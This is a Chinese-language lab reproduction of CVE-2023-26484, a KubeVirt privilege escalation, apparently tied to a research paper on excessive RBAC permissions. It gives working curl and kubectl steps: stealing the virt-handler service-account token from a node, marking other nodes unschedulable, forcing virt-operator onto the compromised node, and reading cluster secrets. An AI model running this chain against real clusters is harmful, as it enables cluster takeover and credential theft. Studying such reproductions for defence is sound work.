该漏洞是论文工作 “Take Over the Whole Cluster: Attacking Kubernetes via Excessive Permissions of Third-party Applications” 挖掘到的, 对其进行复现可以更好地理解rbac的潜在风险.

CVE-2023-26484 Kubevirt 权限提升漏洞

简介

KubeVirt 是 Kubernetes 的虚拟机管理插件. 在 0.59.0 及之前的版本中, 如果恶意用户接管了运行 virt-handler 的 Kubernetes 节点, 则 virt-handler 服务账户可用于修改所有节点.这可被滥用于诱骗系统级特权组件. 这样, 被入侵的节点就可以被用来提升节点之外的权限, 直到可能拥有对整个集群的完全权限访问. 一旦用户可以入侵特定节点, 最简单的利用方法就是使用 virt-handler 服务账户将所有其他节点设置为不可调度, 然后等待具有高权限的系统关键组件出现在其节点上.

环境搭建

参考kubevirt的官网安装

export VERSION="v0.59.0"
kubectl create -f https://github.com/kubevirt/kubevirt/releases/download/${VERSION}/kubevirt-operator.yaml
kubectl create -f https://github.com/kubevirt/kubevirt/releases/download/${VERSION}/kubevirt-cr.yaml

复现

从简介中就可以对这个漏洞的作用机理有一个大概的了解, 那么复现的步骤大致分为以下步骤:

  1. 获取一个节点的权限, 上面有virt-handler, 由于virt-handler是Daemonsets资源, 因此一定存在
  2. 拿到virt-handler的SA Token, 然后向API Server发送请求去 patch 其他节点, 让新创建的容器无法被调度到这些节点上
  3. 删除其他节点上的高权限pod, 在这个漏洞中, 我们可以利用virt-operator pod, 它的cluster role具有list 和 get secret的权限
  4. 等待高权限pod被重新创建到攻击者控制的节点上
  5. 使用高权限pod的SA, 获取集群权限

为了复现完整的流程, 最开始的时候让virt-operator不要出现在自己的节点上. 由于我复现用的集群有三个节点, 而virt-operator的默认replicas是2, 因此修改kubevirt-operator.yaml中的相应选项并apply, 最后得到

NAME                               READY   STATUS    RESTARTS       AGE
virt-api-695695c8bf-9jsjk          1/1     Running   1 (129m ago)   23d
virt-api-695695c8bf-fljvr          1/1     Running   1 (129m ago)   23d
virt-controller-6b8dbbd8c5-q7vf8   1/1     Running   1 (129m ago)   23d
virt-controller-6b8dbbd8c5-x8jcb   1/1     Running   1 (129m ago)   23d
virt-handler-j4qkf                 1/1     Running   1 (129m ago)   23d
virt-handler-ncpwp                 1/1     Running   1 (129m ago)   23d
virt-operator-5d5bdf9c5b-lzsmr     1/1     Running   2 (129m ago)   23d

接下来, 登录没有virt-operator的节点来模拟攻击者控制该节点的场景. 我的集群使用containerd作为容器引擎, 查看节点上的容器

❯ ctr -n k8s.io c ls
CONTAINER                                                           IMAGE                                                   RUNTIME
018b6f216241def706bf49b2cbe0136d26a9440ec44fba5ff9158f9c64449f77    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
03bc2c88f4e7f0b748cbff9e74469886125ec7857385750dd6962547fc2c94dd    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
2e34f1411a95334edbb18df3bfd6dd860c8369d19eb41efef66fd4aa75664ef7    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
3cad963e8764d3b57754dc8723e2dce8e7793c388b9a74083fd54ced88595ae3    docker.io/flannel/flannel:v0.24.3                       io.containerd.runc.v2
3df18a38c2398324f3836bb0fbe99f55775f641559fde6a9f57247d9d13be913    quay.io/kubevirt/virt-api:v0.59.0                       io.containerd.runc.v2
45a7feb9dabff6a8200ccf37f6da7c01d7f689b866127921f1b1c37d825fdeda    quay.io/kubevirt/virt-handler:v0.59.0                   io.containerd.runc.v2
4db25b7315ee957434ce455fd8de25c499e83ad521cb53f125fa436e5b50ad22    quay.io/kubevirt/virt-api:v0.59.0                       io.containerd.runc.v2
5c26a0f3b233eadb1f46382def64ee0401b8cc19c1dda80f60ad131b1e3f821d    registry.k8s.io/kube-proxy:v1.25.16                     io.containerd.runc.v2
688a35b84fc0ce7bd68e02928eb4e22728559e41977a4d2a5e108f6865c5f3c6    quay.io/kubevirt/virt-controller:v0.59.0                io.containerd.runc.v2
6e6eab0c1ede3d083283f8d96758bc898a81ceb472349e04a38c3bf6042c3bfb    quay.io/kubevirt/virt-controller:v0.59.0                io.containerd.runc.v2
836f05ead0f47d570373917f2315111a85104c36e2e2f700aa5949dac1963ec6    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
8f26e2c39123230330328ab931a517d334c83d92dad0b637c6522217cf7d9482    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
8f4c6b146eeea6b6f994f2deb5adc6d938ec79afb00cb71e7491b8b6e98359f6    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
90cc829dd1102778df74b9616dcef5061476d4a2b04660ee9ba23f34fbfdbaab    quay.io/kubevirt/virt-launcher:v0.59.0                  io.containerd.runc.v2
a4b93524451f68c41efa103e432622113c4909979c5d7ac538eede7455b6bfaa    registry.k8s.io/kube-proxy:v1.25.16                     io.containerd.runc.v2
b23ac35d5a9639ec75a923af74b9f6ed571c89a9a59ad037424fb829a39a73f1    docker.io/flannel/flannel-cni-plugin:v1.4.0-flannel1    io.containerd.runc.v2
bc71642c1b0228d2ed22e92c817d1eed581ef6179e25da5ba14b69df43251166    docker.io/flannel/flannel:v0.24.3                       io.containerd.runc.v2
c47082251d14b8e743d41ace290bd64923b704afb9e4e9193d7ad2e6b120f176    quay.io/kubevirt/virt-handler:v0.59.0                   io.containerd.runc.v2
c64079c284e3ce04c261ef192bb1a29a341f0e359dd8c0f0f5678748beaac846    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
ce128301b8f46a6e68711355780ff22389507e62b19ae987cbe6fdbda7fbdc58    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
d80cb0fc9991d5a0ba8bf565cd1ddc94273cfb50c2b56fb883f455193a1cab00    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
e253d834e57f7ee5ae3116e5e922aac2efda2e4475bf79de044b71666191f0c2    registry.k8s.io/pause:3.6                               io.containerd.runc.v2
e983fef8d9a9556f82c81008e8efbfcd432781c48c078db6d36ef72650d0f6e4    docker.io/flannel/flannel:v0.24.3                       io.containerd.runc.v2

然后要找virt-handler的sa token, 在这次复现中, sa token的位置在/var/lib/kubelet/pods/3b42aafd-8696-4077-a903-6f575e7c4784/volumes/kubernetes.io~projected/kube-api-access-dc92g 下面, 然后使用这个token对其他节点进行patch

curl -k -X PATCH -H "Authorization: Bearer <sa-token>" \
     -H "Content-Type: application/json-patch+json" \
     -d '[{"op": "replace", "path": "/spec/unschedulable", "value": true}]' \
     "https://<api-server-address>/api/v1/nodes/<node>"

然后手动删除virt-operator

kubectl delete po virt-operator-5d5bdf9c5b-lzsmr

稍等片刻就可以看到virt-operator重新出现在了我们控制的节点上, 使用命令来查看sa token的具体位置

ctr -n k8s.io c ls
ctr -n k8s.io c info <container-id>

然后用这个token去查看secrets, 以kubevirt中的secrets为例, 发送请求即可读取.

curl -k -H "Authorization: Bearer <sa-token>" https://192.168.59.101:6443/api/v1/namespaces/kubevirt/secrets

修复

限制了operator对secret的访问范围, 修复的commit